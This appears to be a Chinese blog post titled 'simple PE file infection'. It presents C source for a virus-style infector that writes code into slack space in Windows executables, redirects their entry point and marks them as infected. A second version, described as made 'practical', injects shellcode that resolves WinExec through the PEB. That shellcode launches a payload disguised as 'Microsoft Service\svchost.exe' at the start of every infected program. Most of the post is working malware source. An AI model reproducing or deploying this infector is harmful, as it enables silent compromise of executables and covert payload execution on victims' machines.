简单感染PE文件
這個感染方式和win9x時代的CIH病毒感染方式很像。。。
@PandaOS
這個程序的感染標識放在了DOS頭中。。。因為DOS頭只有MZ和最后一個指向PE頭的指針很重要,改了就完蛋了。。。別的幾乎用不到
所以修改DOS頭的話,只要不修改首尾字段,幾乎不會影響程序的運行。
源程序
感染后的
感染前程序的入口
感染后程序的入口
只要搜索節中的空隙,然后將代碼分成幾塊,分別插入進去,運行的時候再用jmp鏈接起來,就可以實現被感染的文件與源文件的大小相同。因為PE文件會有很多的空隙。如果一個地方的空隙很大,比你要插入的代碼都大,你可以直接插入進去了。。。(大小相同并不是對所有可執行文件而言的!)
寫的很爛,大神勿噴
#include <stdio.h> #include <stdlib.h> #include <windows.h> #define pause system("pause") int FPeFile(char *PeFileName) { HANDLE hFile; HANDLE hMap; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSec; PIMAGE_OPTIONAL_HEADER pOptionalHeader; DWORD word=0; char *pBuf; short Sec; int size; unsigned char INT3=0xcc; unsigned char retn=0xc3; unsigned char Nop=0x90; hFile=CreateFileA( PeFileName, GENERIC_READ| GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("打開文件失敗!錯誤號:%d\n",GetLastError()); pause; return 0; } size=GetFileSize(hFile,0); hMap=CreateFileMappingA( hFile, NULL, PAGE_READWRITE, 0, size, NULL); if(hMap==INVALID_HANDLE_VALUE) { Err: CloseHandle(hFile); printf("映射文件失敗!\n"); pause; return 0; } pBuf=(char*)MapViewOfFile(hMap, FILE_MAP_WRITE| FILE_MAP_READ, 0, 0, size); if(!pBuf) { CloseHandle(hFile); goto Err; } pDosHeader=(PIMAGE_DOS_HEADER)pBuf; pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew]; pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader; if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { NotPe: printf("不是有效的PE文件!\n"); goto Clean; } if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE) goto NotPe; if(pDosHeader->e_ovno==0x2308) { /* 已經被感染了 */ printf("這個程序已經被感染了!\n"); goto Clean; } Sec=pNtHeader->FileHeader.NumberOfSections; pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader-> e_lfanew]; for(int i=0;i<Sec;i++) { DWORD Empty;/* 空白字節大小 */ DWORD py;/* 文件偏移 */ DWORD VAddress;/* 相對虛擬地址 */ DWORD OEP;/* 程序OEP */ DWORD NOep;/* 感染后的程序的原OEP */ unsigned char Jmp=0xE9; unsigned char Code[]= {0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3, 0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61}; /* 收集信息 */ Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize; py=pSec->PointerToRawData+pSec->Misc.VirtualSize; VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize; if(Empty<=0) { pSec++; continue; } if(Empty<(6+sizeof(Code))) { pSec++; continue; } OEP=pOptionalHeader->AddressOfEntryPoint; printf("區段名:%s\t文件偏移:%xH\t空白字節大小:%xH\t相對虛擬地址:%xH\n",pSec->Name, py,Empty,VAddress); /* 跳回源程序OEP */ /* 在32位匯編中 Jmp指令偏移 = 要跳轉的地址-(RVA+真實長度+插入的指令大小)-5 */ NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+sizeof(Code))-5;/* 獲取感染后程序的OEP */ pOptionalHeader->AddressOfEntryPoint=VAddress; SetFilePointer(hFile,py,NULL,FILE_BEGIN); /* 將信息寫入到空白字節中 */ if(WriteFile(hFile,Code,sizeof(Code),&word,NULL)) { WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL); WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL); /* 標識 */ WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL); pDosHeader->e_ovno=0x2308; printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint); break; } pSec++; } goto Clean; Clean: UnmapViewOfFile(pBuf); CloseHandle(hMap); CloseHandle(hFile); pause; return 0; } int main(int argc,char *argv[]) { if(argc<2) return 0; FPeFile(argv[1]); return 0; } 經過我的小小的修改,可實用化:
// PEInject.cpp : 定義控制臺應用程序的入口點。 //#include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <windows.h> #define pause system("pause")int dumpCode(unsigned char*buffer) {goto END ;//略過匯編代碼 BEGIN:__asm{//在這里定義任意的合法匯編代碼mov eax, dword ptr fs:[0x30]; mov eax, dword ptr [eax+0xC]; mov eax, dword ptr [eax+0xC]; mov eax, dword ptr [eax]; mov eax, dword ptr [eax]; mov eax, dword ptr [eax+0x18]; mov ebp,eax //Kernel.dll基址 mov eax,dword ptr ss:[ebp+3CH] // eax=PE首部 mov edx,dword ptr ds:[eax+ebp+78H] // add edx,ebp // edx=引出表地址 mov ecx,dword ptr ds:[edx+18H] // ecx=導出函數個數,NumberOfFunctions mov ebx,dword ptr ds:[edx+20H] // add ebx,ebp // ebx=函數名地址,AddressOfName start: // dec ecx // 循環的開始 mov esi,dword ptr ds:[ebx+ecx*4] // add esi,ebp // mov eax,0x50746547 // cmp dword ptr ds:[esi],eax // 比較PteG jnz start // mov eax,0x41636F72 // cmp dword ptr ds:[esi+4],eax // 比較Acor,通過GetProcA幾個字符就能確定是GetProcAddress jnz start // mov ebx,dword ptr ds:[edx+24H] // add ebx,ebp // mov cx,word ptr ds:[ebx+ecx*2] // mov ebx,dword ptr ds:[edx+1CH] // add ebx,ebp // mov eax,dword ptr ds:[ebx+ecx*4] // add eax,ebp // eax 現在是GetProcAddress地址 mov ebx,eax // GetProcAddress地址存入ebx,如果寫ShellCode的話以后還可以繼續調用 push 0 // push 0x636578 // push 0x456E6957 // 構造WinExec字符串 push esp // push ebp // ebp是kernel32.dll的基址 call ebx // 用GetProcAdress得到WinExec地址 mov ebx,eax // WinExec地址保存到ecx push 0x00006578push 0x652e7473push 0x6f686376push 0x735c6563push 0x69767265push 0x53207466push 0x6f736f72push 0x63694d5cpush 0x73656c69push 0x46206d61push 0x72676f72push 0x505c3a43 //字符串壓入棧 lea eax,[esp]; //取到cmd首地址 push 1 // push eax // ASCII "C:\Program Files\Microsoft Service\svchost.exe" call ebx // 執行WinExecnopnopnopnop// leave // 跳回原始入口點 } END://確定代碼范圍UINT begin,end;__asm{mov eax,BEGIN ;mov begin,eax ;mov eax,END ;mov end,eax ;}//輸出int len=end-begin;memcpy(buffer,(void*)begin,len);//四字節對齊int fill=(len-len%4)%4;while(fill--)buffer[len+fill]=0x90;//返回長度return len+fill; }int FPeFile(char *PeFileName, unsigned char* shellcode, int shellcodelen) { HANDLE hFile; HANDLE hMap; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSec; PIMAGE_OPTIONAL_HEADER pOptionalHeader; DWORD word=0; char *pBuf; short Sec; int size; unsigned char INT3=0xcc; unsigned char retn=0xc3; unsigned char Nop=0x90; hFile=CreateFileA( PeFileName, GENERIC_READ| GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("打開文件失敗!錯誤號:%d\n",GetLastError()); pause; return 0; } size=GetFileSize(hFile,0); hMap=CreateFileMappingA( hFile, NULL, PAGE_READWRITE, 0, size, NULL); if(hMap==INVALID_HANDLE_VALUE) { Err: CloseHandle(hFile); printf("映射文件失敗!\n"); pause; return 0; } pBuf=(char*)MapViewOfFile(hMap, FILE_MAP_WRITE| FILE_MAP_READ, 0, 0, size); if(!pBuf) { CloseHandle(hFile); goto Err; } pDosHeader=(PIMAGE_DOS_HEADER)pBuf; pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew]; pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader; if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { NotPe: printf("不是有效的PE文件!\n"); goto Clean; } if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE) goto NotPe; if(pDosHeader->e_ovno==0x2308) { /* 已經被感染了 */ printf("這個程序已經被感染了!\n"); goto Clean; } Sec=pNtHeader->FileHeader.NumberOfSections; pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader-> e_lfanew]; for(int i=0;i<Sec;i++) { DWORD Empty;/* 空白字節大小 */ DWORD py;/* 文件偏移 */ DWORD VAddress;/* 相對虛擬地址 */ DWORD OEP;/* 程序OEP */ DWORD NOep;/* 感染后的程序的原OEP */ unsigned char Jmp=0xE9; unsigned char Code[]= {0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3, 0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61}; /* 收集信息 */ Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize; py=pSec->PointerToRawData+pSec->Misc.VirtualSize; VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize; if(Empty<=0) { pSec++; continue; } if(Empty<(6+sizeof(Code))) { pSec++; continue; } OEP=pOptionalHeader->AddressOfEntryPoint; printf("區段名:%s\t文件偏移:%xH\t空白字節大小:%xH\t相對虛擬地址:%xH\n",pSec->Name, py,Empty,VAddress); /* 跳回源程序OEP */ /* 在32位匯編中 Jmp指令偏移 = 要跳轉的地址-(RVA+真實長度+插入的指令大小)-5 */ NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+shellcodelen)-5;/* 獲取感染后程序的OEP */ pOptionalHeader->AddressOfEntryPoint=VAddress; SetFilePointer(hFile,py,NULL,FILE_BEGIN); /* 將信息寫入到空白字節中 */ if(WriteFile(hFile, shellcode, shellcodelen, &word, NULL)) { WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL); WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL); /* 標識 */ //WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL); pDosHeader->e_ovno=0x2308; printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint); break; } pSec++; } goto Clean; Clean: UnmapViewOfFile(pBuf); CloseHandle(hMap); CloseHandle(hFile); pause; return 0; } int main(int argc,char *argv[]) {unsigned char buffer[1024] ={0};int len = dumpCode(buffer);unsigned char shellcodebuffer[1024] ={0};shellcodebuffer[0] = 0x60;memcpy(shellcodebuffer+1, buffer,len);shellcodebuffer[len+1] = 0x61;if(argc<2) return 0; FPeFile(argv[1], shellcodebuffer, len+2); return 0; }
總結
- 上一篇: 源码免杀--反调试代码,免杀爱好者必备的
- 下一篇: 木马开机启动的六种方法